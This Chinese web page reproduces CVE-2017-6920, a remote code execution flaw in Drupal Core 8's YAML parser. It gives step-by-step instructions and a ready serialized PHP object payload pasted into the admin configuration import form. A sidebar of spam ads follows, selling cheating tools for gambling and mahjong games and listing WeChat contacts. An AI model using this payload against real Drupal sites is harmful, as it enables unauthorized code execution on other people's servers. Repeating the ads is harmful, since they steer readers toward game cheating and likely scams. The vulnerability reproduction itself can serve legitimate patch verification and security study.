Drupal Core 8 PECL YAML 反序列化任意
admin
2023-01-30 12:26:07
0次
漏洞背景：
2017年6月21日，Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞，影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞，影响8.x的Drupal Core。
漏洞复现：
1.打开网页先登录一个管理员账号。
2.访问 http://你的ip:8080/admin/config/development/configuration/single/import
3.然后如下图所示：第二个随便填。
poc：!php/object "O:24:\"GuzzleHttp\Psr7\FnStream\":2:{s:33:\"\0GuzzleHttp\Psr7\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
4.然后执行最下面的import，会再出来个phpinto就代表成了。相关内容
热门资讯
重磅消息“鱼虾蟹控制器究竟有挂...
您好：鱼虾蟹控制器这款游戏可以开挂，确实是有挂的，需要了解加客服微信【9752949】很多玩家在这款...
今日重大消息“闲来贵州麻将是不...
家人们！今天小编来为大家解答闲来贵州麻将透视挂怎么安装这个问题咨询软件客服徽4282891的挂在哪里...
【今日要闻】“陕西欢喜开挂神器...
您好：陕西欢喜这款游戏可以开挂，确实是有挂的，需要了解加客服微信【9784099】很多玩家在这款游戏...
终于了解“天天爱泰州麻将怎么装...
您好：天天爱泰州麻将这款游戏可以开挂，确实是有挂的，需要了解加客服微信【9784099】很多玩家在这...
最新引进“毛豆大厅牛牛辅助器？...
最新引进“毛豆大厅牛牛辅助器？”(详细开挂教程)您好，毛豆大厅牛牛这个游戏其实有挂的，确实是有挂的，...
【第一资讯】“王子棋牌怎么开挂...
【第一资讯】“王子棋牌怎么开挂？”(详细开挂教程)您好，王子棋牌这个游戏其实有挂的，确实是有挂的，需...
最新引进“授权大厅炸/金/花怎...
有 亲，根据资深记者爆料授权大厅炸/金/花是可以开挂的，确实有挂（咨询软...
重磅消息“老友内蒙古麻将怎么开...
重磅消息“老友内蒙古麻将怎么开挂？”(确实真的有挂)您好，老友内蒙古麻将这个游戏其实有挂的，确实是有...
终于懂了“新天天游戏有没有挂？...
家人们！今天小编来为大家解答新天天游戏透视挂怎么安装这个问题咨询软件客服徽9752949的挂在哪里买...
玩家分享攻略“三鑫联盟到底有挂...
玩家分享攻略“三鑫联盟到底有挂吗？”(透视曝光猫腻)您好，三鑫联盟这个游戏其实有挂的，确实是有挂的，...